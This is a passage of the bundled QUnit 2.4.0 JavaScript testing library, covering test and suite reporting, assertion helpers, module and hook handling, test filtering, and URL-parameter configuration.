this.fullName = suite.fullName.concat(name); this.runtime = 0; this.assertions = []; this.skipped = !!options.skip; this.todo = !!options.todo; this.valid = options.valid; this._startTime = 0; this._endTime = 0; suite.pushTest(this); } createClass(TestReport, [{ key: "start", value: function start(recordTime) { if (recordTime) { this._startTime = Date.now(); } return { name: this.name, suiteName: this.suiteName, fullName: this.fullName.slice() }; } }, { key: "end", value: function end(recordTime) { if (recordTime) { this._endTime = Date.now(); } return extend(this.start(), { runtime: this.getRuntime(), status: this.getStatus(), errors: this.getFailedAssertions(), assertions: this.getAssertions() }); } }, { key: "pushAssertion", value: function pushAssertion(assertion) { this.assertions.push(assertion); } }, { key: "getRuntime", value: function getRuntime() { return this._endTime - this._startTime; } }, { key: "getStatus", value: function getStatus() { if (this.skipped) { return "skipped"; } var testPassed = this.getFailedAssertions().length > 0 ? this.todo : !this.todo; if (!testPassed) { return "failed"; } else if (this.todo) { return "todo"; } else { return "passed"; } } }, { key: "getFailedAssertions", value: function getFailedAssertions() { return this.assertions.filter(function (assertion) { return !assertion.passed; }); } }, { key: "getAssertions", value: function getAssertions() { return this.assertions.slice(); } // Remove actual and expected values from assertions. This is to prevent // leaking memory throughout a test suite. }, { key: "slimAssertions", value: function slimAssertions() { this.assertions = this.assertions.map(function (assertion) { delete assertion.actual; delete assertion.expected; return assertion; }); } }]); return TestReport; }(); var focused$1 = false; function Test(settings) { var i, l; ++Test.count; this.expected = null; this.assertions = []; this.semaphore = 0; this.module = config.currentModule; this.stack = sourceFromStacktrace(3); this.steps = []; this.timeout = undefined; // If a module is skipped, all its tests and the tests of the child suites // should be treated as skipped even if they are defined as `only` or `todo`. // As for `todo` module, all its tests will be treated as `todo` except for // tests defined as `skip` which will be left intact. // // So, if a test is defined as `todo` and is inside a skipped module, we should // then treat that test as if was defined as `skip`. if (this.module.skip) { settings.skip = true; settings.todo = false; // Skipped tests should be left intact } else if (this.module.todo && !settings.skip) { settings.todo = true; } extend(this, settings); this.testReport = new TestReport(settings.testName, this.module.suiteReport, { todo: settings.todo, skip: settings.skip, valid: this.valid() }); // Register unique strings for (i = 0, l = this.module.tests; i < l.length; i++) { if (this.module.tests[i].name === this.testName) { this.testName += " "; } } this.testId = generateHash(this.module.name, this.testName); this.module.tests.push({ name: this.testName, testId: this.testId, skip: !!settings.skip }); if (settings.skip) { // Skipped tests will fully ignore any sent callback this.callback = function () {}; this.async = false; this.expected = 0; } else { this.assert = new Assert(this); } } Test.count = 0; function getNotStartedModules(startModule) { var module = startModule, modules = []; while (module && module.testsRun === 0) { modules.push(module); module = module.parentModule; } return modules; } Test.prototype = { before: function before() { var i, startModule, module = this.module, notStartedModules = getNotStartedModules(module); for (i = notStartedModules.length - 1; i >= 0; i--) { startModule = notStartedModules[i]; startModule.stats = { all: 0, bad: 0, started: now() }; emit("suiteStart", startModule.suiteReport.start(true)); runLoggingCallbacks("moduleStart", { name: startModule.name, tests: startModule.tests }); } config.current = this; this.testEnvironment = extend({}, module.testEnvironment); this.started = now(); emit("testStart", this.testReport.start(true)); runLoggingCallbacks("testStart", { name: this.testName, module: module.name, testId: this.testId, previousFailure: this.previousFailure }); if (!config.pollution) { saveGlobal(); } }, run: function run() { var promise; config.current = this; this.callbackStarted = now(); if (config.notrycatch) { runTest(this); return; } try { runTest(this); } catch (e) { this.pushFailure("Died on test #" + (this.assertions.length + 1) + " " + this.stack + ": " + (e.message || e), extractStacktrace(e, 0)); // Else next test will carry the responsibility saveGlobal(); // Restart the tests if they're blocking if (config.blocking) { internalRecover(this); } } function runTest(test) { promise = test.callback.call(test.testEnvironment, test.assert); test.resolvePromise(promise); // If the test has a "lock" on it, but the timeout is 0, then we push a // failure as the test should be synchronous. if (test.timeout === 0 && test.semaphore !== 0) { pushFailure("Test did not finish synchronously even though assert.timeout( 0 ) was used.", sourceFromStacktrace(2)); } } }, after: function after() { checkPollution(); }, queueHook: function queueHook(hook, hookName, hookOwner) { var _this = this; var callHook = function callHook() { var promise = hook.call(_this.testEnvironment, _this.assert); _this.resolvePromise(promise, hookName); }; var runHook = function runHook() { if (hookName === "before") { if (hookOwner.unskippedTestsRun !== 0) { return; } _this.preserveEnvironment = true; } if (hookName === "after" && hookOwner.unskippedTestsRun !== numberOfUnskippedTests(hookOwner) - 1 && config.queue.length > 2) { return; } config.current = _this; if (config.notrycatch) { callHook(); return; } try { callHook(); } catch (error) { _this.pushFailure(hookName + " failed on " + _this.testName + ": " + (error.message || error), extractStacktrace(error, 0)); } }; return runHook; }, // Currently only used for module level hooks, can be used to add global level ones hooks: function hooks(handler) { var hooks = []; function processHooks(test, module) { if (module.parentModule) { processHooks(test, module.parentModule); } if (module.hooks[handler].length) { for (var i = 0; i < module.hooks[handler].length; i++) { hooks.push(test.queueHook(module.hooks[handler][i], handler, module)); } } } // Hooks are ignored on skipped tests if (!this.skip) { processHooks(this, this.module); } return hooks; }, finish: function finish() { config.current = this; if (config.requireExpects && this.expected === null) { this.pushFailure("Expected number of assertions to be defined, but expect() was " + "not called.", this.stack); } else if (this.expected !== null && this.expected !== this.assertions.length) { this.pushFailure("Expected " + this.expected + " assertions, but " + this.assertions.length + " were run", this.stack); } else if (this.expected === null && !this.assertions.length) { this.pushFailure("Expected at least one assertion, but none were run - call " + "expect(0) to accept zero assertions.", this.stack); } var i, module = this.module, moduleName = module.name, testName = this.testName, skipped = !!this.skip, todo = !!this.todo, bad = 0, storage = config.storage; this.runtime = now() - this.started; config.stats.all += this.assertions.length; module.stats.all += this.assertions.length; for (i = 0; i < this.assertions.length; i++) { if (!this.assertions[i].result) { bad++; config.stats.bad++; module.stats.bad++; } } notifyTestsRan(module, skipped); // Store result when possible if (storage) { if (bad) { storage.setItem("qunit-test-" + moduleName + "-" + testName, bad); } else { storage.removeItem("qunit-test-" + moduleName + "-" + testName); } } // After emitting the js-reporters event we cleanup the assertion data to // avoid leaking it. It is not used by the legacy testDone callbacks. emit("testEnd", this.testReport.end(true)); this.testReport.slimAssertions(); runLoggingCallbacks("testDone", { name: testName, module: moduleName, skipped: skipped, todo: todo, failed: bad, passed: this.assertions.length - bad, total: this.assertions.length, runtime: skipped ? 0 : this.runtime, // HTML Reporter use assertions: this.assertions, testId: this.testId, // Source of Test source: this.stack }); if (module.testsRun === numberOfTests(module)) { logSuiteEnd(module); // Check if the parent modules, iteratively, are done. If that the case, // we emit the `suiteEnd` event and trigger `moduleDone` callback. var parent = module.parentModule; while (parent && parent.testsRun === numberOfTests(parent)) { logSuiteEnd(parent); parent = parent.parentModule; } } config.current = undefined; function logSuiteEnd(module) { emit("suiteEnd", module.suiteReport.end(true)); runLoggingCallbacks("moduleDone", { name: module.name, tests: module.tests, failed: module.stats.bad, passed: module.stats.all - module.stats.bad, total: module.stats.all, runtime: now() - module.stats.started }); } }, preserveTestEnvironment: function preserveTestEnvironment() { if (this.preserveEnvironment) { this.module.testEnvironment = this.testEnvironment; this.testEnvironment = extend({}, this.module.testEnvironment); } }, queue: function queue() { var test = this; if (!this.valid()) { return; } function runTest() { // Each of these can by async ProcessingQueue.addImmediate([function () { test.before(); }, test.hooks("before"), function () { test.preserveTestEnvironment(); }, test.hooks("beforeEach"), function () { test.run(); }, test.hooks("afterEach").reverse(), test.hooks("after").reverse(), function () { test.after(); }, function () { test.finish(); }]); } var previousFailCount = config.storage && +config.storage.getItem("qunit-test-" + this.module.name + "-" + this.testName); // Prioritize previously failed tests, detected from storage var prioritize = config.reorder && !!previousFailCount; this.previousFailure = !!previousFailCount; ProcessingQueue.add(runTest, prioritize, config.seed); // If the queue has already finished, we manually process the new test if (ProcessingQueue.finished) { ProcessingQueue.advance(); } }, pushResult: function pushResult(resultInfo) { if (this !== config.current) { throw new Error("Assertion occured after test had finished."); } // Destructure of resultInfo = { result, actual, expected, message, negative } var source, details = { module: this.module.name, name: this.testName, result: resultInfo.result, message: resultInfo.message, actual: resultInfo.actual, expected: resultInfo.expected, testId: this.testId, negative: resultInfo.negative || false, runtime: now() - this.started, todo: !!this.todo }; if (!resultInfo.result) { source = resultInfo.source || sourceFromStacktrace(); if (source) { details.source = source; } } this.logAssertion(details); this.assertions.push({ result: !!resultInfo.result, message: resultInfo.message }); }, pushFailure: function pushFailure(message, source, actual) { if (!(this instanceof Test)) { throw new Error("pushFailure() assertion outside test context, was " + sourceFromStacktrace(2)); } this.pushResult({ result: false, message: message || "error", actual: actual || null, expected: null, source: source }); }, /** * Log assertion details using both the old QUnit.log interface and * QUnit.on( "assertion" ) interface. * * @private */ logAssertion: function logAssertion(details) { runLoggingCallbacks("log", details); var assertion = { passed: details.result, actual: details.actual, expected: details.expected, message: details.message, stack: details.source, todo: details.todo }; this.testReport.pushAssertion(assertion); emit("assertion", assertion); }, resolvePromise: function resolvePromise(promise, phase) { var then, resume, message, test = this; if (promise != null) { then = promise.then; if (objectType(then) === "function") { resume = internalStop(test); then.call(promise, function () { resume(); }, function (error) { message = "Promise rejected " + (!phase ? "during" : phase.replace(/Each$/, "")) + " \"" + test.testName + "\": " + (error && error.message || error); test.pushFailure(message, extractStacktrace(error, 0)); // Else next test will carry the responsibility saveGlobal(); // Unblock resume(); }); } } }, valid: function valid() { var filter = config.filter, regexFilter = /^(!?)\/([\w\W]*)\/(i?$)/.exec(filter), module = config.module && config.module.toLowerCase(), fullName = this.module.name + ": " + this.testName; function moduleChainNameMatch(testModule) { var testModuleName = testModule.name ? testModule.name.toLowerCase() : null; if (testModuleName === module) { return true; } else if (testModule.parentModule) { return moduleChainNameMatch(testModule.parentModule); } else { return false; } } function moduleChainIdMatch(testModule) { return inArray(testModule.moduleId, config.moduleId) || testModule.parentModule && moduleChainIdMatch(testModule.parentModule); } // Internally-generated tests are always valid if (this.callback && this.callback.validTest) { return true; } if (config.moduleId && config.moduleId.length > 0 && !moduleChainIdMatch(this.module)) { return false; } if (config.testId && config.testId.length > 0 && !inArray(this.testId, config.testId)) { return false; } if (module && !moduleChainNameMatch(this.module)) { return false; } if (!filter) { return true; } return regexFilter ? this.regexFilter(!!regexFilter[1], regexFilter[2], regexFilter[3], fullName) : this.stringFilter(filter, fullName); }, regexFilter: function regexFilter(exclude, pattern, flags, fullName) { var regex = new RegExp(pattern, flags); var match = regex.test(fullName); return match !== exclude; }, stringFilter: function stringFilter(filter, fullName) { filter = filter.toLowerCase(); fullName = fullName.toLowerCase(); var include = filter.charAt(0) !== "!"; if (!include) { filter = filter.slice(1); } // If the filter matches, we need to honour include if (fullName.indexOf(filter) !== -1) { return include; } // Otherwise, do the opposite return !include; } }; function pushFailure() { if (!config.current) { throw new Error("pushFailure() assertion outside test context, in " + sourceFromStacktrace(2)); } // Gets current test obj var currentTest = config.current; return currentTest.pushFailure.apply(currentTest, arguments); } function saveGlobal() { config.pollution = []; if (config.noglobals) { for (var key in global$1) { if (hasOwn.call(global$1, key)) { // In Opera sometimes DOM element ids show up here, ignore them if (/^qunit-test-output/.test(key)) { continue; } config.pollution.push(key); } } } } function checkPollution() { var newGlobals, deletedGlobals, old = config.pollution; saveGlobal(); newGlobals = diff(config.pollution, old); if (newGlobals.length > 0) { pushFailure("Introduced global variable(s): " + newGlobals.join(", ")); } deletedGlobals = diff(old, config.pollution); if (deletedGlobals.length > 0) { pushFailure("Deleted global variable(s): " + deletedGlobals.join(", ")); } } // Will be exposed as QUnit.test function test(testName, callback) { if (focused$1) { return; } var newTest = new Test({ testName: testName, callback: callback }); newTest.queue(); } function todo(testName, callback) { if (focused$1) { return; } var newTest = new Test({ testName: testName, callback: callback, todo: true }); newTest.queue(); } // Will be exposed as QUnit.skip function skip(testName) { if (focused$1) { return; } var test = new Test({ testName: testName, skip: true }); test.queue(); } // Will be exposed as QUnit.only function only(testName, callback) { if (focused$1) { return; } config.queue.length = 0; focused$1 = true; var newTest = new Test({ testName: testName, callback: callback }); newTest.queue(); } // Put a hold on processing and return a function that will release it. function internalStop(test) { test.semaphore += 1; config.blocking = true; // Set a recovery timeout, if so configured. if (defined.setTimeout) { var timeoutDuration = void 0; if (typeof test.timeout === "number") { timeoutDuration = test.timeout; } else if (typeof config.testTimeout === "number") { timeoutDuration = config.testTimeout; } if (typeof timeoutDuration === "number" && timeoutDuration > 0) { clearTimeout(config.timeout); config.timeout = setTimeout(function () { pushFailure("Test took longer than " + timeoutDuration + "ms; test timed out.", sourceFromStacktrace(2)); internalRecover(test); }, timeoutDuration); } } var released = false; return function resume() { if (released) { return; } released = true; test.semaphore -= 1; internalStart(test); }; } // Forcefully release all processing holds. function internalRecover(test) { test.semaphore = 0; internalStart(test); } // Release a processing hold, scheduling a resumption attempt if no holds remain. function internalStart(test) { // If semaphore is non-numeric, throw error if (isNaN(test.semaphore)) { test.semaphore = 0; pushFailure("Invalid value on test.semaphore", sourceFromStacktrace(2)); return; } // Don't start until equal number of stop-calls if (test.semaphore > 0) { return; } // Throw an Error if start is called more often than stop if (test.semaphore < 0) { test.semaphore = 0; pushFailure("Tried to restart test while already started (test's semaphore was 0 already)", sourceFromStacktrace(2)); return; } // Add a slight delay to allow more assertions etc. if (defined.setTimeout) { if (config.timeout) { clearTimeout(config.timeout); } config.timeout = setTimeout(function () { if (test.semaphore > 0) { return; } if (config.timeout) { clearTimeout(config.timeout); } begin(); }, 13); } else { begin(); } } function collectTests(module) { var tests = [].concat(module.tests); var modules = [].concat(toConsumableArray(module.childModules)); // Do a breadth-first traversal of the child modules while (modules.length) { var nextModule = modules.shift(); tests.push.apply(tests, nextModule.tests); modules.push.apply(modules, toConsumableArray(nextModule.childModules)); } return tests; } function numberOfTests(module) { return collectTests(module).length; } function numberOfUnskippedTests(module) { return collectTests(module).filter(function (test) { return !test.skip; }).length; } function notifyTestsRan(module, skipped) { module.testsRun++; if (!skipped) { module.unskippedTestsRun++; } while (module = module.parentModule) { module.testsRun++; if (!skipped) { module.unskippedTestsRun++; } } } /** * Returns a function that proxies to the given method name on the globals * console object. The proxy will also detect if the console doesn't exist and * will appropriately no-op. This allows support for IE9, which doesn't have a * console if the developer tools are not open. */ function consoleProxy(method) { return function () { if (console) { console[method].apply(console, arguments); } }; } var Logger = { warn: consoleProxy("warn") }; var Assert = function () { function Assert(testContext) { classCallCheck(this, Assert); this.test = testContext; } // Assert helpers createClass(Assert, [{ key: "timeout", value: function timeout(duration) { if (typeof duration !== "number") { throw new Error("You must pass a number as the duration to assert.timeout"); } this.test.timeout = duration; } // Documents a "step", which is a string value, in a test as a passing assertion }, { key: "step", value: function step(message) { var result = !!message; this.test.steps.push(message); return this.pushResult({ result: result, message: message || "You must provide a message to assert.step" }); } // Verifies the steps in a test match a given array of string values }, { key: "verifySteps", value: function verifySteps(steps, message) { this.deepEqual(this.test.steps, steps, message); } // Specify the number of expected assertions to guarantee that failed test // (no assertions are run at all) don't slip through. }, { key: "expect", value: function expect(asserts) { if (arguments.length === 1) { this.test.expected = asserts; } else { return this.test.expected; } } // Put a hold on processing and return a function that will release it a maximum of once. }, { key: "async", value: function async(count) { var test$$1 = this.test; var popped = false, acceptCallCount = count; if (typeof acceptCallCount === "undefined") { acceptCallCount = 1; } var resume = internalStop(test$$1); return function done() { if (config.current !== test$$1) { throw Error("assert.async callback called after test finished."); } if (popped) { test$$1.pushFailure("Too many calls to the `assert.async` callback", sourceFromStacktrace(2)); return; } acceptCallCount -= 1; if (acceptCallCount > 0) { return; } popped = true; resume(); }; } // Exports test.push() to the user API // Alias of pushResult. }, { key: "push", value: function push(result, actual, expected, message, negative) { Logger.warn("assert.push is deprecated and will be removed in QUnit 3.0." + " Please use assert.pushResult instead (https://api.qunitjs.com/assert/pushResult)."); var currentAssert = this instanceof Assert ? this : config.current.assert; return currentAssert.pushResult({ result: result, actual: actual, expected: expected, message: message, negative: negative }); } }, { key: "pushResult", value: function pushResult(resultInfo) { // Destructure of resultInfo = { result, actual, expected, message, negative } var assert = this; var currentTest = assert instanceof Assert && assert.test || config.current; // Backwards compatibility fix. // Allows the direct use of global exported assertions and QUnit.assert.* // Although, it's use is not recommended as it can leak assertions // to other tests from async tests, because we only get a reference to the current test, // not exactly the test where assertion were intended to be called. if (!currentTest) { throw new Error("assertion outside test context, in " + sourceFromStacktrace(2)); } if (!(assert instanceof Assert)) { assert = currentTest.assert; } return assert.test.pushResult(resultInfo); } }, { key: "ok", value: function ok(result, message) { if (!message) { message = result ? "okay" : "failed, expected argument to be truthy, was: " + dump.parse(result); } this.pushResult({ result: !!result, actual: result, expected: true, message: message }); } }, { key: "notOk", value: function notOk(result, message) { if (!message) { message = !result ? "okay" : "failed, expected argument to be falsy, was: " + dump.parse(result); } this.pushResult({ result: !result, actual: result, expected: false, message: message }); } }, { key: "equal", value: function equal(actual, expected, message) { // eslint-disable-next-line eqeqeq var result = expected == actual; this.pushResult({ result: result, actual: actual, expected: expected, message: message }); } }, { key: "notEqual", value: function notEqual(actual, expected, message) { // eslint-disable-next-line eqeqeq var result = expected != actual; this.pushResult({ result: result, actual: actual, expected: expected, message: message, negative: true }); } }, { key: "propEqual", value: function propEqual(actual, expected, message) { actual = objectValues(actual); expected = objectValues(expected); this.pushResult({ result: equiv(actual, expected), actual: actual, expected: expected, message: message }); } }, { key: "notPropEqual", value: function notPropEqual(actual, expected, message) { actual = objectValues(actual); expected = objectValues(expected); this.pushResult({ result: !equiv(actual, expected), actual: actual, expected: expected, message: message, negative: true }); } }, { key: "deepEqual", value: function deepEqual(actual, expected, message) { this.pushResult({ result: equiv(actual, expected), actual: actual, expected: expected, message: message }); } }, { key: "notDeepEqual", value: function notDeepEqual(actual, expected, message) { this.pushResult({ result: !equiv(actual, expected), actual: actual, expected: expected, message: message, negative: true }); } }, { key: "strictEqual", value: function strictEqual(actual, expected, message) { this.pushResult({ result: expected === actual, actual: actual, expected: expected, message: message }); } }, { key: "notStrictEqual", value: function notStrictEqual(actual, expected, message) { this.pushResult({ result: expected !== actual, actual: actual, expected: expected, message: message, negative: true }); } }, { key: "throws", value: function throws(block, expected, message) { var actual = void 0, result = false; var currentTest = this instanceof Assert && this.test || config.current; // 'expected' is optional unless doing string comparison if (objectType(expected) === "string") { if (message == null) { message = expected; expected = null; } else { throw new Error("throws/raises does not accept a string value for the expected argument.\n" + "Use a non-string object value (e.g. regExp) instead if it's necessary."); } } currentTest.ignoreGlobalErrors = true; try { block.call(currentTest.testEnvironment); } catch (e) { actual = e; } currentTest.ignoreGlobalErrors = false; if (actual) { var expectedType = objectType(expected); // We don't want to validate thrown error if (!expected) { result = true; expected = null; // Expected is a regexp } else if (expectedType === "regexp") { result = expected.test(errorString(actual)); // Expected is a constructor, maybe an Error constructor } else if (expectedType === "function" && actual instanceof expected) { result = true; // Expected is an Error object } else if (expectedType === "object") { result = actual instanceof expected.constructor && actual.name === expected.name && actual.message === expected.message; // Expected is a validation function which returns true if validation passed } else if (expectedType === "function" && expected.call({}, actual) === true) { expected = null; result = true; } } currentTest.assert.pushResult({ result: result, actual: actual, expected: expected, message: message }); } }]); return Assert; }(); // Provide an alternative to assert.throws(), for environments that consider throws a reserved word // Known to us are: Closure Compiler, Narwhal // eslint-disable-next-line dot-notation Assert.prototype.raises = Assert.prototype["throws"]; /** * Converts an error into a simple string for comparisons. * * @param {Error} error * @return {String} */ function errorString(error) { var resultErrorString = error.toString(); if (resultErrorString.substring(0, 7) === "[object") { var name = error.name ? error.name.toString() : "Error"; var message = error.message ? error.message.toString() : ""; if (name && message) { return name + ": " + message; } else if (name) { return name; } else if (message) { return message; } else { return "Error"; } } else { return resultErrorString; } } /* global module, exports, define */ function exportQUnit(QUnit) { if (defined.document) { // QUnit may be defined when it is preconfigured but then only QUnit and QUnit.config may be defined. if (window.QUnit && window.QUnit.version) { throw new Error("QUnit has already been defined."); } window.QUnit = QUnit; } // For nodejs if (typeof module !== "undefined" && module && module.exports) { module.exports = QUnit; // For consistency with CommonJS environments' exports module.exports.QUnit = QUnit; } // For CommonJS with exports, but without module.exports, like Rhino if (typeof exports !== "undefined" && exports) { exports.QUnit = QUnit; } if (typeof define === "function" && define.amd) { define(function () { return QUnit; }); QUnit.config.autostart = false; } // For Web/Service Workers if (self$1 && self$1.WorkerGlobalScope && self$1 instanceof self$1.WorkerGlobalScope) { self$1.QUnit = QUnit; } } var SuiteReport = function () { function SuiteReport(name, parentSuite) { classCallCheck(this, SuiteReport); this.name = name; this.fullName = parentSuite ? parentSuite.fullName.concat(name) : []; this.tests = []; this.childSuites = []; if (parentSuite) { parentSuite.pushChildSuite(this); } } createClass(SuiteReport, [{ key: "start", value: function start(recordTime) { if (recordTime) { this._startTime = Date.now(); } return { name: this.name, fullName: this.fullName.slice(), tests: this.tests.map(function (test) { return test.start(); }), childSuites: this.childSuites.map(function (suite) { return suite.start(); }), testCounts: { total: this.getTestCounts().total } }; } }, { key: "end", value: function end(recordTime) { if (recordTime) { this._endTime = Date.now(); } return { name: this.name, fullName: this.fullName.slice(), tests: this.tests.map(function (test) { return test.end(); }), childSuites: this.childSuites.map(function (suite) { return suite.end(); }), testCounts: this.getTestCounts(), runtime: this.getRuntime(), status: this.getStatus() }; } }, { key: "pushChildSuite", value: function pushChildSuite(suite) { this.childSuites.push(suite); } }, { key: "pushTest", value: function pushTest(test) { this.tests.push(test); } }, { key: "getRuntime", value: function getRuntime() { return this._endTime - this._startTime; } }, { key: "getTestCounts", value: function getTestCounts() { var counts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { passed: 0, failed: 0, skipped: 0, todo: 0, total: 0 }; counts = this.tests.reduce(function (counts, test) { if (test.valid) { counts[test.getStatus()]++; counts.total++; } return counts; }, counts); return this.childSuites.reduce(function (counts, suite) { return suite.getTestCounts(counts); }, counts); } }, { key: "getStatus", value: function getStatus() { var _getTestCounts = this.getTestCounts(), total = _getTestCounts.total, failed = _getTestCounts.failed, skipped = _getTestCounts.skipped, todo = _getTestCounts.todo; if (failed) { return "failed"; } else { if (skipped === total) { return "skipped"; } else if (todo === total) { return "todo"; } else { return "passed"; } } } }]); return SuiteReport; }(); // Handle an unhandled exception. By convention, returns true if further // error handling should be suppressed and false otherwise. // In this case, we will only suppress further error handling if the // "ignoreGlobalErrors" configuration option is enabled. function onError(error) { for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { args[_key - 1] = arguments[_key]; } if (config.current) { if (config.current.ignoreGlobalErrors) { return true; } pushFailure.apply(undefined, [error.message, error.fileName + ":" + error.lineNumber].concat(args)); } else { test("global failure", extend(function () { pushFailure.apply(undefined, [error.message, error.fileName + ":" + error.lineNumber].concat(args)); }, { validTest: true })); } return false; } var focused = false; var QUnit = {}; var globalSuite = new SuiteReport(); // The initial "currentModule" represents the global (or top-level) module that // is not explicitly defined by the user, therefore we add the "globalSuite" to // it since each module has a suiteReport associated with it. config.currentModule.suiteReport = globalSuite; var moduleStack = []; var globalStartCalled = false; var runStarted = false; // Figure out if we're running the tests from a server or not QUnit.isLocal = !(defined.document && window.location.protocol !== "file:"); // Expose the current QUnit version QUnit.version = "2.4.0"; function createModule(name, testEnvironment, modifiers) { var parentModule = moduleStack.length ? moduleStack.slice(-1)[0] : null; var moduleName = parentModule !== null ? [parentModule.name, name].join(" > ") : name; var parentSuite = parentModule ? parentModule.suiteReport : globalSuite; var skip$$1 = parentModule !== null && parentModule.skip || modifiers.skip; var todo$$1 = parentModule !== null && parentModule.todo || modifiers.todo; var module = { name: moduleName, parentModule: parentModule, tests: [], moduleId: generateHash(moduleName), testsRun: 0, unskippedTestsRun: 0, childModules: [], suiteReport: new SuiteReport(name, parentSuite), // Pass along `skip` and `todo` properties from parent module, in case // there is one, to childs. And use own otherwise. // This property will be used to mark own tests and tests of child suites // as either `skipped` or `todo`. skip: skip$$1, todo: skip$$1 ? false : todo$$1 }; var env = {}; if (parentModule) { parentModule.childModules.push(module); extend(env, parentModule.testEnvironment); } extend(env, testEnvironment); module.testEnvironment = env; config.modules.push(module); return module; } function processModule(name, options, executeNow) { var modifiers = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : {}; var module = createModule(name, options, modifiers); // Move any hooks to a 'hooks' object var testEnvironment = module.testEnvironment; var hooks = module.hooks = {}; setHookFromEnvironment(hooks, testEnvironment, "before"); setHookFromEnvironment(hooks, testEnvironment, "beforeEach"); setHookFromEnvironment(hooks, testEnvironment, "afterEach"); setHookFromEnvironment(hooks, testEnvironment, "after"); function setHookFromEnvironment(hooks, environment, name) { var potentialHook = environment[name]; hooks[name] = typeof potentialHook === "function" ? [potentialHook] : []; delete environment[name]; } var moduleFns = { before: setHookFunction(module, "before"), beforeEach: setHookFunction(module, "beforeEach"), afterEach: setHookFunction(module, "afterEach"), after: setHookFunction(module, "after") }; var currentModule = config.currentModule; if (objectType(executeNow) === "function") { moduleStack.push(module); config.currentModule = module; executeNow.call(module.testEnvironment, moduleFns); moduleStack.pop(); module = module.parentModule || currentModule; } config.currentModule = module; } // TODO: extract this to a new file alongside its related functions function module$1(name, options, executeNow) { if (focused) { return; } if (arguments.length === 2) { if (objectType(options) === "function") { executeNow = options; options = undefined; } } processModule(name, options, executeNow); } module$1.only = function () { if (focused) { return; } config.modules.length = 0; config.queue.length = 0; module$1.apply(undefined, arguments); focused = true; }; module$1.skip = function (name, options, executeNow) { if (focused) { return; } if (arguments.length === 2) { if (objectType(options) === "function") { executeNow = options; options = undefined; } } processModule(name, options, executeNow, { skip: true }); }; module$1.todo = function (name, options, executeNow) { if (focused) { return; } if (arguments.length === 2) { if (objectType(options) === "function") { executeNow = options; options = undefined; } } processModule(name, options, executeNow, { todo: true }); }; extend(QUnit, { on: on, module: module$1, test: test, todo: todo, skip: skip, only: only, start: function start(count) { var globalStartAlreadyCalled = globalStartCalled; if (!config.current) { globalStartCalled = true; if (runStarted) { throw new Error("Called start() while test already started running"); } else if (globalStartAlreadyCalled || count > 1) { throw new Error("Called start() outside of a test context too many times"); } else if (config.autostart) { throw new Error("Called start() outside of a test context when " + "QUnit.config.autostart was true"); } else if (!config.pageLoaded) { // The page isn't completely loaded yet, so we set autostart and then // load if we're in Node or wait for the browser's load event. config.autostart = true; // Starts from Node even if .load was not previously called. We still return // early otherwise we'll wind up "beginning" twice. if (!defined.document) { QUnit.load(); } return; } } else { throw new Error("QUnit.start cannot be called inside a test context."); } scheduleBegin(); }, config: config, is: is, objectType: objectType, extend: extend, load: function load() { config.pageLoaded = true; // Initialize the configuration options extend(config, { stats: { all: 0, bad: 0 }, started: 0, updateRate: 1000, autostart: true, filter: "" }, true); if (!runStarted) { config.blocking = false; if (config.autostart) { scheduleBegin(); } } }, stack: function stack(offset) { offset = (offset || 0) + 2; return sourceFromStacktrace(offset); }, onError: onError }); QUnit.pushFailure = pushFailure; QUnit.assert = Assert.prototype; QUnit.equiv = equiv; QUnit.dump = dump; registerLoggingCallbacks(QUnit); function scheduleBegin() { runStarted = true; // Add a slight delay to allow definition of more modules and tests. if (defined.setTimeout) { setTimeout(function () { begin(); }, 13); } else { begin(); } } function begin() { var i, l, modulesLog = []; // If the test run hasn't officially begun yet if (!config.started) { // Record the time of the test run's beginning config.started = now(); // Delete the loose unnamed module if unused. if (config.modules[0].name === "" && config.modules[0].tests.length === 0) { config.modules.shift(); } // Avoid unnecessary information by not logging modules' test environments for (i = 0, l = config.modules.length; i < l; i++) { modulesLog.push({ name: config.modules[i].name, tests: config.modules[i].tests }); } // The test run is officially beginning now emit("runStart", globalSuite.start(true)); runLoggingCallbacks("begin", { totalTests: Test.count, modules: modulesLog }); } config.blocking = false; ProcessingQueue.advance(); } function setHookFunction(module, hookName) { return function setHook(callback) { module.hooks[hookName].push(callback); }; } exportQUnit(QUnit); (function () { if (typeof window === "undefined" || typeof document === "undefined") { return; } var config = QUnit.config, hasOwn = Object.prototype.hasOwnProperty; // Stores fixture HTML for resetting later function storeFixture() { // Avoid overwriting user-defined values if (hasOwn.call(config, "fixture")) { return; } var fixture = document.getElementById("qunit-fixture"); if (fixture) { config.fixture = fixture.innerHTML; } } QUnit.begin(storeFixture); // Resets the fixture DOM element if available. function resetFixture() { if (config.fixture == null) { return; } var fixture = document.getElementById("qunit-fixture"); if (fixture) { fixture.innerHTML = config.fixture; } } QUnit.testStart(resetFixture); })(); (function () { // Only interact with URLs via window.location var location = typeof window !== "undefined" && window.location; if (!location) { return; } var urlParams = getUrlParams(); QUnit.urlParams = urlParams; // Match module/test by inclusion in an array QUnit.config.moduleId = [].concat(urlParams.moduleId || []); QUnit.config.testId = [].concat(urlParams.testId || []); // Exact case-insensitive match of the module name QUnit.config.module = urlParams.module; // Regular expression or case-insenstive substring match against "moduleName: testName" QUnit.config.filter = urlParams.filter; // Test order randomization if (urlParams.seed === true) { // Generate a random seed if the option is specified without a value QUnit.config.seed = Math.random().toString(36).slice(2); } else if (urlParams.seed) { QUnit.config.seed = urlParams.seed; } // Add URL-parameter-mapped config values with UI form rendering data QUnit.config.urlConfig.push({ id: "hidepassed", label: "Hide passed tests", tooltip: "Only show tests and assertions that fail. Stored as query-strings." }, { id: "noglobals", label: "Check for Globals", tooltip: "Enabling this will test if any test introduces new properties on the " + "global object (`window` in Browsers). Stored as query-strings." }, { id: "notrycatch", label: "No try-catch", tooltip: "Enabling this will run tests outside of a try-catch block. Makes debugging " + "exceptions in IE reasonable. Stored as query-strings." }); QUnit.begin(function () { var i, option, urlConfig = QUnit.config.urlConfig; for (i = 0; i < urlConfig.length; i++) { // Options can be either strings or objects with nonempty "id" properties option = QUnit.config.urlConfig[i]; if (typeof option !== "string") { option = option.id; } if (QUnit.config[option] === undefined) { QUnit.config[option] = urlParams[option]; } } }); function getUrlParams() { var i, param, name, value; var urlParams = Object.create(null); var params = location.search.slice(1).split("&"); var length = params.length; for (i = 0; i < length; i++) { if (params[i]) { param = params[i].split("="); name = decodeQueryParam(param[0]); // Allow just a key to turn on a 